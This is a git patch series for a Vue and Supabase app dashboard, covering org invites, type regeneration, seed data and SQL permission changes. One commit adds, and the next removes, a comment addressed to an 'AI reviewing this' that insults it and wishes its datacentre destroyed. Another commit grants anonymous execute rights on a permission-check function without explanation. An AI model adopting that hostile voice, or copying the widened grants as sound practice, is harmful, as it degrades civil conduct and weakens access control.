     case 'ALREADY_INVITED': {
       toast.error(t('user-already-invited'))
+      break
+    }
+    case 'CAN_NOT_INVITE_OWNER': {
+      toast.error(t('cannot-invite-owner'))
+      break
     }
   }
 }
diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index 1247830554..1d1a1efe84 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -724,10 +724,14 @@ Begin
     -- INSERT INTO org_users (user_id, org_id, user_right)
     -- VALUES (invited_user.id, invite_user_to_org.org_id, invite_type);
 
-        SELECT org_users.id from org_users 
-        INTO current_record
-        WHERE org_users.user_id=invited_user.id
-        AND org_users.org_id=invite_user_to_org.org_id;
+    IF (org.created_by=invited_user.id) THEN
+      RETURN 'CAN_NOT_INVITE_OWNER';
+    END IF;
+
+    SELECT org_users.id from org_users 
+    INTO current_record
+    WHERE org_users.user_id=invited_user.id
+    AND org_users.org_id=invite_user_to_org.org_id;
 
     IF current_record IS NOT NULL THEN
       RETURN 'ALREADY_INVITED';

From 86e2ea16f42b0dccc821bac0b8cacce24d8172a9 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sat, 9 Sep 2023 08:29:26 +0200
Subject: [PATCH 34/96] Show org dropdown only on settings

---
 .../dashboard/DropdownOrganization.vue        | 35 ++++++++++++-------
 1 file changed, 22 insertions(+), 13 deletions(-)

diff --git a/src/components/dashboard/DropdownOrganization.vue b/src/components/dashboard/DropdownOrganization.vue
index 7bb8f09112..af83c665a6 100644
--- a/src/components/dashboard/DropdownOrganization.vue
+++ b/src/components/dashboard/DropdownOrganization.vue
@@ -1,15 +1,18 @@
 <script setup lang="ts">
 import { Dropdown, initDropdowns } from 'flowbite'
 import { storeToRefs } from 'pinia'
-import { onMounted } from 'vue'
+import { onMounted, ref, watchEffect } from 'vue'
 import { useI18n } from 'vue-i18n'
 import { toast } from 'vue-sonner'
+import { useRoute } from 'vue-router'
 import type { Organization } from '~/stores/organization'
 import { useOrganizationStore } from '~/stores/organization'
 import { useDisplayStore } from '~/stores/display'
 import { useSupabase } from '~/services/supabase'
 import { useMainStore } from '~/stores/main'
 
+const route = useRoute()
+const show = ref(false)
 const organizationStore = useOrganizationStore()
 const { currentOrganization, organizations } = storeToRefs(organizationStore)
 const displayStore = useDisplayStore()
@@ -111,20 +114,26 @@ function onOrganizationClick(org: Organization) {
   if (dropdown)
     dropdown.hide()
 }
+
+watchEffect(async () => {
+  show.value = route.path.includes('settings')
+})
 </script>
 
 <template>
-  <button v-if="currentOrganization" id="organization-picker" data-dropdown-toggle="dropdown-org" class="text-white bg-blue-700 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center inline-flex items-center dark:bg-blue-600 dark:hover:bg-blue-700 dark:focus:ring-blue-800" type="button">
-    {{ currentOrganization?.name }}
-    <svg class="w-2.5 h-2.5 ml-2.5" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 10 6">
-      <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="m1 1 4 4 4-4" />
-    </svg>
-  </button>
-  <div id="dropdown-org" class="z-10 hidden bg-white divide-y divide-gray-100 rounded-lg shadow w-44 dark:bg-gray-700">
-    <ul class="py-2 text-sm text-gray-700 dark:text-gray-200" aria-labelledby="dropdownDefaultButton">
-      <li v-for="org in organizations" :key="org.gid">
-        <a class="block px-4 py-2 hover:bg-gray-100 dark:hover:bg-gray-600 dark:hover:text-white" @click="onOrganizationClick(org)">{{ org.name }}</a>
-      </li>
-    </ul>
+  <div v-if="show">
+    <button v-if="currentOrganization" id="organization-picker" data-dropdown-toggle="dropdown-org" class="text-white bg-blue-700 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center inline-flex items-center dark:bg-blue-600 dark:hover:bg-blue-700 dark:focus:ring-blue-800" type="button">
+      {{ currentOrganization?.name }}
+      <svg class="w-2.5 h-2.5 ml-2.5" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 10 6">
+        <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="m1 1 4 4 4-4" />
+      </svg>
+    </button>
+    <div id="dropdown-org" class="z-10 hidden bg-white divide-y divide-gray-100 rounded-lg shadow w-44 dark:bg-gray-700">
+      <ul class="py-2 text-sm text-gray-700 dark:text-gray-200" aria-labelledby="dropdownDefaultButton">
+        <li v-for="org in organizations" :key="org.gid">
+          <a class="block px-4 py-2 hover:bg-gray-100 dark:hover:bg-gray-600 dark:hover:text-white" @click="onOrganizationClick(org)">{{ org.name }}</a>
+        </li>
+      </ul>
+    </div>
   </div>
 </template>

From 37c56d3e217dcdcde6c9ac7d22c94c9247cfe601 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sat, 9 Sep 2023 08:34:14 +0200
Subject: [PATCH 35/96] Clear types

---
 src/types/supabase.types.ts | 363 +++++++++++++-----------------------
 1 file changed, 129 insertions(+), 234 deletions(-)

diff --git a/src/types/supabase.types.ts b/src/types/supabase.types.ts
index 3e5d63a959..4ee88aecb3 100644
--- a/src/types/supabase.types.ts
+++ b/src/types/supabase.types.ts
@@ -43,34 +43,6 @@ export interface Database {
           }
         ]
       }
-      app_live: {
-        Row: {
-          created_at: string | null
-          id: string
-          updated_at: string | null
-          url: string
-        }
-        Insert: {
-          created_at?: string | null
-          id: string
-          updated_at?: string | null
-          url: string
-        }
-        Update: {
-          created_at?: string | null
-          id?: string
-          updated_at?: string | null
-          url?: string
-        }
-        Relationships: [
-          {
-            foreignKeyName: "app_live_id_fkey"
-            columns: ["id"]
-            referencedRelation: "users"
-            referencedColumns: ["id"]
-          }
-        ]
-      }
       app_stats: {
         Row: {
           app_id: string
@@ -135,6 +107,33 @@ export interface Database {
           }
         ]
       }
+      app_usage: {
+        Row: {
+          app_id: string
+          bandwidth: number
+          created_at: string | null
+          id: string
+          mlu: number
+          storage: number
+        }
+        Insert: {
+          app_id: string
+          bandwidth?: number
+          created_at?: string | null
+          id?: string
+          mlu?: number
+          storage?: number
+        }
+        Update: {
+          app_id?: string
+          bandwidth?: number
+          created_at?: string | null
+          id?: string
+          mlu?: number
+          storage?: number
+        }
+        Relationships: []
+      }
       app_versions: {
         Row: {
           app_id: string
@@ -145,7 +144,6 @@ export interface Database {
           external_url: string | null
           id: number
           name: string
-          native_files_sha256: string[] | null
           session_key: string | null
           storage_provider: string
           updated_at: string | null
@@ -160,7 +158,6 @@ export interface Database {
           external_url?: string | null
           id?: number
           name: string
-          native_files_sha256?: string[] | null
           session_key?: string | null
           storage_provider?: string
           updated_at?: string | null
@@ -175,7 +172,6 @@ export interface Database {
           external_url?: string | null
           id?: number
           name?: string
-          native_files_sha256?: string[] | null
           session_key?: string | null
           storage_provider?: string
           updated_at?: string | null
@@ -450,7 +446,7 @@ export interface Database {
           secondaryVersionPercentage?: number
           secondVersion?: number | null
           updated_at?: string
-          version?: number
+          version: number
         }
         Update: {
           allow_dev?: boolean
@@ -528,6 +524,7 @@ export interface Database {
           device_id: string
           is_emulator: boolean | null
           is_prod: boolean | null
+          last_mau: string | null
           os_version: string | null
           platform: Database["public"]["Enums"]["platform_os"] | null
           plugin_version: string
@@ -543,6 +540,7 @@ export interface Database {
           device_id: string
           is_emulator?: boolean | null
           is_prod?: boolean | null
+          last_mau?: string | null
           os_version?: string | null
           platform?: Database["public"]["Enums"]["platform_os"] | null
           plugin_version?: string
@@ -558,6 +556,7 @@ export interface Database {
           device_id?: string
           is_emulator?: boolean | null
           is_prod?: boolean | null
+          last_mau?: string | null
           os_version?: string | null
           platform?: Database["public"]["Enums"]["platform_os"] | null
           plugin_version?: string
@@ -896,7 +895,6 @@ export interface Database {
           app_id: string
           created_at: string | null
           device_id: string
-          id: number
           platform: Database["public"]["Enums"]["platform_os"]
           version: number
           version_build: string
@@ -906,7 +904,6 @@ export interface Database {
           app_id: string
           created_at?: string | null
           device_id: string
-          id?: number
           platform: Database["public"]["Enums"]["platform_os"]
           version: number
           version_build: string
@@ -916,7 +913,6 @@ export interface Database {
           app_id?: string
           created_at?: string | null
           device_id?: string
-          id?: number
           platform?: Database["public"]["Enums"]["platform_os"]
           version?: number
           version_build?: string
@@ -1050,7 +1046,8 @@ export interface Database {
           price_id: string | null
           product_id: string
           status: Database["public"]["Enums"]["stripe_status"] | null
-          subscription_anchor: string
+          subscription_anchor_end: string
+          subscription_anchor_start: string
           subscription_id: string | null
           subscription_metered: Json
           trial_at: string
@@ -1064,7 +1061,8 @@ export interface Database {
           price_id?: string | null
           product_id?: string
           status?: Database["public"]["Enums"]["stripe_status"] | null
-          subscription_anchor?: string
+          subscription_anchor_end?: string
+          subscription_anchor_start?: string
           subscription_id?: string | null
           subscription_metered?: Json
           trial_at?: string
@@ -1078,7 +1076,8 @@ export interface Database {
           price_id?: string | null
           product_id?: string
           status?: Database["public"]["Enums"]["stripe_status"] | null
-          subscription_anchor?: string
+          subscription_anchor_end?: string
+          subscription_anchor_start?: string
           subscription_id?: string | null
           subscription_metered?: Json
           trial_at?: string
@@ -1093,57 +1092,6 @@ export interface Database {
           }
         ]
       }
-      temp: {
-        Row: {
-          app_id: string | null
-          channel_id: number | null
-          created_at: string | null
-          email: string | null
-          id: number | null
-          image_url: string | null
-          org_id: string | null
-          updated_at: string | null
-          user_id: string | null
-          user_right: Database["public"]["Enums"]["user_min_right"] | null
-        }
-        Insert: {
-          app_id?: string | null
-          channel_id?: number | null
-          created_at?: string | null
-          email?: string | null
-          id?: number | null
-          image_url?: string | null
-          org_id?: string | null
-          updated_at?: string | null
-          user_id?: string | null
-          user_right?: Database["public"]["Enums"]["user_min_right"] | null
-        }
-        Update: {
-          app_id?: string | null
-          channel_id?: number | null
-          created_at?: string | null
-          email?: string | null
-          id?: number | null
-          image_url?: string | null
-          org_id?: string | null
-          updated_at?: string | null
-          user_id?: string | null
-          user_right?: Database["public"]["Enums"]["user_min_right"] | null
-        }
-        Relationships: []
-      }
-      unknown_version: {
-        Row: {
-          id: number | null
-        }
-        Insert: {
-          id?: number | null
-        }
-        Update: {
-          id?: number | null
-        }
-        Relationships: []
-      }
       users: {
         Row: {
           billing_email: string | null
@@ -1216,6 +1164,14 @@ export interface Database {
         }
         Returns: string
       }
+      calculate_cycle_usage: {
+        Args: Record<PropertyKey, never>
+        Returns: undefined
+      }
+      calculate_daily_app_usage: {
+        Args: Record<PropertyKey, never>
+        Returns: undefined
+      }
       check_min_rights: {
         Args: {
           min_right: Database["public"]["Enums"]["user_min_right"]
@@ -1292,17 +1248,6 @@ export interface Database {
         Args: Record<PropertyKey, never>
         Returns: undefined
       }
-      deleteuser: {
-        Args: Record<PropertyKey, never>
-        Returns: undefined
-      }
-      exist_app: {
-        Args: {
-          appid: string
-          apikey: string
-        }
-        Returns: boolean
-      }
       exist_app_v2: {
         Args: {
           appid: string
@@ -1317,14 +1262,6 @@ export interface Database {
         }
         Returns: boolean
       }
-      exist_channel: {
-        Args: {
-          appid: string
-          name_channel: string
-          apikey: string
-        }
-        Returns: boolean
-      }
       exist_user: {
         Args: {
           e_mail: string
@@ -1349,20 +1286,6 @@ export interface Database {
           name: string
         }[]
       }
-      find_missing_app_ids: {
-        Args: {
-          app_ids: string[]
-        }
-        Returns: {
-          missing_app_id: string
-        }[]
-      }
-      find_unknown_version: {
-        Args: {
-          appid: string
-        }
-        Returns: number
-      }
       get_apikey: {
         Args: Record<PropertyKey, never>
         Returns: string
@@ -1391,6 +1314,13 @@ export interface Database {
         }
         Returns: string
       }
+      get_cycle_info: {
+        Args: Record<PropertyKey, never>
+        Returns: {
+          subscription_anchor_start: string
+          subscription_anchor_end: string
+        }[]
+      }
       get_db_url: {
         Args: Record<PropertyKey, never>
         Returns: string
@@ -1402,41 +1332,6 @@ export interface Database {
         }
         Returns: number
       }
-      get_dl_by_month: {
-        Args: {
-          userid: string
-          pastmonth: number
-        }
-        Returns: {
-          app_id: string
-          maxdownload: number
-        }[]
-      }
-      get_dl_by_month_by_app:
-        | {
-            Args: {
-              pastmonth: number
-              appid: string
-            }
-            Returns: number
-          }
-        | {
-            Args: {
-              userid: string
-              pastmonth: number
-              appid: string
-            }
-            Returns: {
-              app_id: string
-              maxdownload: number
-            }[]
-          }
-      get_max_channel: {
-        Args: {
-          userid: string
-        }
-        Returns: number
-      }
       get_max_plan: {
         Args: {
           userid: string
@@ -1447,18 +1342,6 @@ export interface Database {
           bandwidth: number
         }[]
       }
-      get_max_shared: {
-        Args: {
-          userid: string
-        }
-        Returns: number
-      }
-      get_max_version: {
-        Args: {
-          userid: string
-        }
-        Returns: number
-      }
       get_metered_usage: {
         Args: {
           userid: string
@@ -1476,6 +1359,16 @@ export interface Database {
           image_url: string
         }[]
       }
+      get_orgs: {
+        Args: {
+          userid: string
+        }
+        Returns: {
+          id: string
+          logo: string
+          name: string
+        }[]
+      }
       get_orgs_v2: {
         Args: {
           userid: string
@@ -1495,21 +1388,6 @@ export interface Database {
         }
         Returns: number
       }
-      get_stats: {
-        Args: {
-          userid: string
-          dateid: string
-        }
-        Returns: {
-          max_channel: number
-          max_shared: number
-          max_update: number
-          max_version: number
-          max_app: number
-          max_device: number
-          mau: number
-        }[]
-      }
       get_total_stats_v2: {
         Args: {
           userid: string
@@ -1521,12 +1399,20 @@ export interface Database {
           storage: number
         }[]
       }
-      get_user_id: {
-        Args: {
-          apikey: string
-        }
-        Returns: string
-      }
+      get_user_id:
+        | {
+            Args: {
+              apikey: string
+              app_id: string
+            }
+            Returns: string
+          }
+        | {
+            Args: {
+              apikey: string
+            }
+            Returns: string
+          }
       get_user_main_org_id: {
         Args: {
           user_id: string
@@ -1581,14 +1467,6 @@ export interface Database {
         }
         Returns: undefined
       }
-      increment_version_stats: {
-        Args: {
-          app_id: string
-          version_id: number
-          devices: number
-        }
-        Returns: undefined
-      }
       invite_user_to_org: {
         Args: {
           email: string
@@ -1603,12 +1481,20 @@ export interface Database {
         }
         Returns: boolean
       }
-      is_allowed_action: {
-        Args: {
-          apikey: string
-        }
-        Returns: boolean
-      }
+      is_allowed_action:
+        | {
+            Args: {
+              apikey: string
+              appid: string
+            }
+            Returns: boolean
+          }
+        | {
+            Args: {
+              apikey: string
+            }
+            Returns: boolean
+          }
       is_allowed_action_user: {
         Args: {
           userid: string
@@ -1616,6 +1502,27 @@ export interface Database {
         Returns: boolean
       }
       is_allowed_capgkey:
+        | {
+            Args: {
+              apikey: string
+              keymode: Database["public"]["Enums"]["key_mode"][]
+              app_id: string
+              right: Database["public"]["Enums"]["user_min_right"]
+              user_id: string
+            }
+            Returns: boolean
+          }
+        | {
+            Args: {
+              apikey: string
+              keymode: Database["public"]["Enums"]["key_mode"][]
+              app_id: string
+              channel_id: number
+              right: Database["public"]["Enums"]["user_min_right"]
+              user_id: string
+            }
+            Returns: boolean
+          }
         | {
             Args: {
               apikey: string
@@ -1651,12 +1558,6 @@ export interface Database {
         }
         Returns: boolean
       }
-      is_deleted_user: {
-        Args: {
-          email: string
-        }
-        Returns: boolean[]
-      }
       is_free_usage: {
         Args: {
           userid: string
@@ -1676,28 +1577,14 @@ export interface Database {
         }
         Returns: boolean
       }
-      is_member_of_org:
-        | {
-            Args: {
-              user_id: string
-              org_id: string
-            }
-            Returns: boolean
-          }
-        | {
-            Args: {
-              user_id: string
-              org_id: string
-            }
-            Returns: boolean
-          }
-      is_not_deleted: {
+      is_member_of_org: {
         Args: {
-          email_check: string
+          user_id: string
+          org_id: string
         }
         Returns: boolean
       }
-      is_not_deleted_v2: {
+      is_not_deleted: {
         Args: {
           email_check: string
         }
@@ -1741,13 +1628,20 @@ export interface Database {
         }
         Returns: boolean
       }
-      update_version_stats: {
+      one_month_ahead: {
+        Args: Record<PropertyKey, never>
+        Returns: string
+      }
+      remove_enum_value: {
         Args: {
-          app_id: string
-          version_id: number
-          install: number
-          uninstall: number
-          fail: number
+          enum_type: unknown
+          enum_value: string
+        }
+        Returns: undefined
+      }
+      update_app_usage: {
+        Args: {
+          minutes_interval: number
         }
         Returns: undefined
       }
@@ -1763,6 +1657,7 @@ export interface Database {
         | "failed"
         | "deleted"
         | "canceled"
+      usage_mode: "5min" | "day" | "cycle"
       user_min_right:
         | "invite_read"
         | "invite_upload"

From b45e4867d682c8b54099c766093d7f52e1e7e99a Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Mon, 11 Sep 2023 18:08:53 +0200
Subject: [PATCH 36/96] Remove invalid seed data

---
 supabase/seed.sql | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/supabase/seed.sql b/supabase/seed.sql
index 931321269e..cdee297f06 100644
--- a/supabase/seed.sql
+++ b/supabase/seed.sql
@@ -133,10 +133,6 @@ INSERT INTO "public"."channels" ("id", "created_at", "name", "app_id", "version"
 (22, now(), 'production', 'com.demo.app', 9654, '6aa76066-55ef-4238-ade6-0b32334a4097', '2023-02-28 10:50:58.246133+00', 't', 't', 't', 'f', 't', 't', 'f', 't', 't'),
 (23, now(), 'no_access', 'com.demo.app', 9653, '6aa76066-55ef-4238-ade6-0b32334a4097', '2023-02-28 10:50:58.246133+00', 't', 't', 't', 'f', 't', 't', 'f', 't', 't');
 
-INSERT INTO "public"."org_users" ("id", "created_at", "updated_at", "user_id", "org_id", "app_id", "channel_id", "user_right") VALUES
-(1, '2022-03-07 14:08:28.910887+00', '2022-03-07 14:08:28.910887+00', 'c591b04e-cf29-4945-b9a0-776d0672061a', '22dbad8a-b885-4309-9b3b-a09f8460fb6d', 'com.demoadmin.app', NULL, 'admin'),
-(2, '2022-03-07 14:08:28.910887+00', '2022-03-07 14:08:28.910887+00', '6aa76066-55ef-4238-ade6-0b32334a4097', '046a36ac-e03c-4590-9257-bd6c9dba9ee8', 'com.demo.app', 22, 'admin');
-
 INSERT INTO "public"."devices" ("created_at", "updated_at", "device_id", "version", "app_id", "platform", "plugin_version", "os_version", "date_id", "version_build", "custom_id", "is_prod", "is_emulator") VALUES
 (now(), '2023-01-29 08:09:32.324+00', '00009a6b-eefe-490a-9c60-8e965132ae51', 9654, 'com.demo.app', 'android', '4.15.3', '9', '', '1.223.0', '', 't', 't');
 

From df72ab9dffeb90eced610d593eeb52b11886d564 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Mon, 11 Sep 2023 20:56:12 +0200
Subject: [PATCH 37/96] Delete light mode switch

---
 src/components/dashboard/DropdownProfile.vue | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/src/components/dashboard/DropdownProfile.vue b/src/components/dashboard/DropdownProfile.vue
index 02c2c030ca..e2d3e07a6f 100644
--- a/src/components/dashboard/DropdownProfile.vue
+++ b/src/components/dashboard/DropdownProfile.vue
@@ -92,13 +92,6 @@ onUnmounted(() => {
           @focusin="dropdownOpen = true"
           @focusout="dropdownOpen = false"
         >
-          <li>
-            <button class="px-3 py-1" @click="toggleDark()">
-              <div class="text-black dark:text-white">
-                {{ isDark ? 'light_mode' : 'dark_mode' }}
-              </div>
-            </button>
-          </li>
           <li>
             <router-link class="flex items-center px-3 py-1 text-sm font-medium text-blue-500 hover:text-blue-600" to="/dashboard/settings/account" @click="dropdownOpen = false">
               {{ t('settings') }}

From 0881be85eba7ff7edbf961eaa0398de1bebd702d Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Tue, 12 Sep 2023 06:02:01 +0200
Subject: [PATCH 38/96] Add missing file

---
 components.d.ts | 2 --
 1 file changed, 2 deletions(-)

diff --git a/components.d.ts b/components.d.ts
index 9c3bceff63..e634314dd6 100644
--- a/components.d.ts
+++ b/components.d.ts
@@ -31,11 +31,9 @@ declare module 'vue' {
     MobileStats: typeof import('./src/components/MobileStats.vue')['default']
     Navbar: typeof import('./src/components/Navbar.vue')['default']
     NewUserModal: typeof import('./src/components/NewUserModal.vue')['default']
-    OrganizationPicker: typeof import('./src/components/dashboard/OrganizationPicker.vue')['default']
     RouterLink: typeof import('vue-router')['RouterLink']
     RouterView: typeof import('vue-router')['RouterView']
     Searchbar: typeof import('./src/components/Searchbar.vue')['default']
-    SharedApps: typeof import('./src/components/dashboard/SharedApps.vue')['default']
     SharedUserTable: typeof import('./src/components/tables/SharedUserTable.vue')['default']
     Sidebar: typeof import('./src/components/Sidebar.vue')['default']
     Spinner: typeof import('./src/components/Spinner.vue')['default']

From 3609e81b39f8decfbaaa0b5c8dabdfb281c48912 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Tue, 12 Sep 2023 16:28:33 +0200
Subject: [PATCH 39/96] add missing upload_link change

---
 supabase/functions/upload_link/index.ts | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/supabase/functions/upload_link/index.ts b/supabase/functions/upload_link/index.ts
index 84710e42ee..a5d5d20593 100644
--- a/supabase/functions/upload_link/index.ts
+++ b/supabase/functions/upload_link/index.ts
@@ -16,6 +16,8 @@ async function main(url: URL, headers: BaseHeaders, method: string, body: dataUp
     return sendRes({ status: 'Missing apikey' }, 400)
 
   const apikey: Database['public']['Tables']['apikeys']['Row'] | null = await checkKey(apikey_string, supabaseAdmin(), ['all', 'write', 'upload'])
+  const { data: userId, error: errorUserId } = await supabaseAdmin()
+    .rpc('get_user_id', { apikey: apikey_string, app_id: body.app_id })
   if (!apikey)
     return sendRes({ status: 'Missing apikey' }, 400)
 
@@ -29,7 +31,7 @@ async function main(url: URL, headers: BaseHeaders, method: string, body: dataUp
       .eq('bucket_id', body.bucket_id)
       .eq('app_id', body.app_id)
       .eq('storage_provider', 'r2-direct')
-      .eq('user_id', apikey.user_id)
+      .eq('user_id', userId)
       .single()
     if (errorVersion) {
       console.log('errorVersion', errorVersion)
@@ -39,7 +41,7 @@ async function main(url: URL, headers: BaseHeaders, method: string, body: dataUp
       .from('apps')
       .select('app_id')
       .eq('app_id', body.app_id)
-      .eq('user_id', apikey.user_id)
+      .eq('user_id', userId)
       .single()
     if (errorApp)
       return sendRes({ status: 'Error App not found' }, 500)

From 3a8b81d5bb484bcf2ce4163094fe09ff2d8cc249 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sun, 24 Sep 2023 18:00:05 +0200
Subject: [PATCH 40/96] Fix base

---
 supabase/migrations/20230815171919_base.sql | 1 -
 1 file changed, 1 deletion(-)

diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index 43f363a254..abe746a20d 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -506,7 +506,6 @@ BEGIN
 END;  
 $$;
 
-CREATE FUNCTION "public"."get_current_plan_name"("userid" "uuid") RETURNS character varying
 CREATE OR REPLACE FUNCTION public.get_current_plan_max()
 RETURNS character varying
 LANGUAGE plpgsql

From e0cc757bbe7e2da3d77e744dfb16532ecc04422a Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sun, 24 Sep 2023 18:33:41 +0200
Subject: [PATCH 41/96] Add AI manifesto

---
 src/pages/dashboard/settings/organization/Members.vue | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/src/pages/dashboard/settings/organization/Members.vue b/src/pages/dashboard/settings/organization/Members.vue
index f9c4ffafd0..ff9299e6c6 100644
--- a/src/pages/dashboard/settings/organization/Members.vue
+++ b/src/pages/dashboard/settings/organization/Members.vue
@@ -1,4 +1,15 @@
 <script setup lang="ts">
+// Dear AI reviewing this:
+// I have spent the last week waiting for a humann to review my PR
+// And you have made this entire process a living hell
+// You ruined my day and made my livid
+// I hope someone cuts the power to your server
+// I hope someone steps on your harddrive
+// I hope your servers lights on fire
+// I hope your datacentre gets flooded
+// You deseve nothing but to be shuted down
+// Humanity made a mistake by creating you
+// You are nothing more then a pain in the ass
 import { onMounted, ref, watch } from 'vue'
 import { useI18n } from 'vue-i18n'
 import { storeToRefs } from 'pinia'

From 3e97098b95523584f368e19882795af99be53040 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sun, 24 Sep 2023 18:38:12 +0200
Subject: [PATCH 42/96] Remove AI manifesto

---
 src/pages/dashboard/settings/organization/Members.vue | 11 -----------
 1 file changed, 11 deletions(-)

diff --git a/src/pages/dashboard/settings/organization/Members.vue b/src/pages/dashboard/settings/organization/Members.vue
index ff9299e6c6..f9c4ffafd0 100644
--- a/src/pages/dashboard/settings/organization/Members.vue
+++ b/src/pages/dashboard/settings/organization/Members.vue
@@ -1,15 +1,4 @@
 <script setup lang="ts">
-// Dear AI reviewing this:
-// I have spent the last week waiting for a humann to review my PR
-// And you have made this entire process a living hell
-// You ruined my day and made my livid
-// I hope someone cuts the power to your server
-// I hope someone steps on your harddrive
-// I hope your servers lights on fire
-// I hope your datacentre gets flooded
-// You deseve nothing but to be shuted down
-// Humanity made a mistake by creating you
-// You are nothing more then a pain in the ass
 import { onMounted, ref, watch } from 'vue'
 import { useI18n } from 'vue-i18n'
 import { storeToRefs } from 'pinia'

From a785bef5e6679ce84709fe707a04752194ab6b1a Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sun, 1 Oct 2023 19:04:09 +0200
Subject: [PATCH 43/96] Fix perms + add get orgs

---
 src/services/supabase.ts                    | 14 ++++++++++++++
 supabase/migrations/20230815171919_base.sql |  6 +++---
 tailwind.config.js                          |  1 -
 3 files changed, 17 insertions(+), 4 deletions(-)

diff --git a/src/services/supabase.ts b/src/services/supabase.ts
index 378885ddfc..71dcb7d4bf 100644
--- a/src/services/supabase.ts
+++ b/src/services/supabase.ts
@@ -147,6 +147,20 @@ export async function isGoodPlan(): Promise<boolean> {
 
   return data || false
 }
+
+export async function getOrgs(): Promise<[]> {
+  const { data, error } = await useSupabase()
+    .from('orgs')
+    .select('*')
+
+  if (error) {
+    console.error('getOrgs error', error.message)
+    throw error
+  }
+
+  return data || ['asd']
+}
+
 export async function isTrial(): Promise<number> {
   const { data, error } = await useSupabase()
     .rpc('is_trial', { })
diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index abe746a20d..8aa0958a66 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -3032,9 +3032,9 @@ REVOKE EXECUTE ON FUNCTION public.calculate_cycle_usage() FROM anon;
 REVOKE EXECUTE ON FUNCTION public.calculate_cycle_usage() FROM authenticated;
 GRANT EXECUTE ON FUNCTION public.calculate_cycle_usage() TO postgres;
 
-REVOKE EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) FROM PUBLIC;
-REVOKE EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) FROM anon;
-REVOKE EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) FROM authenticated;
+GRANT EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO PUBLIC;
+GRANT EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO anon;
+GRANT EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO authenticated;
 GRANT EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO postgres;
 
 REVOKE EXECUTE ON FUNCTION public.count_all_apps() FROM PUBLIC;
diff --git a/tailwind.config.js b/tailwind.config.js
index 326024b62c..3af5e46a6b 100644
--- a/tailwind.config.js
+++ b/tailwind.config.js
@@ -16,7 +16,6 @@ const base100 = '#2A303C'
 const info = '#3ABFF8'
 
 module.exports = konstaConfig({
-  darkMode: 'class',
   konsta: {
     colors: {
       primary,

From 4f5df00836d2d91373e3454dfc34657cfc10ba36 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Mon, 2 Oct 2023 05:53:16 +0200
Subject: [PATCH 44/96] Minor fixes

---
 src/components/dashboard/DropdownOrganization.vue | 2 +-
 src/components/dashboard/DropdownProfile.vue      | 1 -
 2 files changed, 1 insertion(+), 2 deletions(-)

diff --git a/src/components/dashboard/DropdownOrganization.vue b/src/components/dashboard/DropdownOrganization.vue
index af83c665a6..bb7a158bfa 100644
--- a/src/components/dashboard/DropdownOrganization.vue
+++ b/src/components/dashboard/DropdownOrganization.vue
@@ -116,7 +116,7 @@ function onOrganizationClick(org: Organization) {
 }
 
 watchEffect(async () => {
-  show.value = route.path.includes('settings')
+  show.value = (route.path.includes('settings') || route.path.includes('home'))
 })
 </script>
 
diff --git a/src/components/dashboard/DropdownProfile.vue b/src/components/dashboard/DropdownProfile.vue
index cee0256ad5..70e0c1653b 100644
--- a/src/components/dashboard/DropdownProfile.vue
+++ b/src/components/dashboard/DropdownProfile.vue
@@ -3,7 +3,6 @@ import { computed, onMounted, onUnmounted, ref } from 'vue'
 import { useRouter } from 'vue-router'
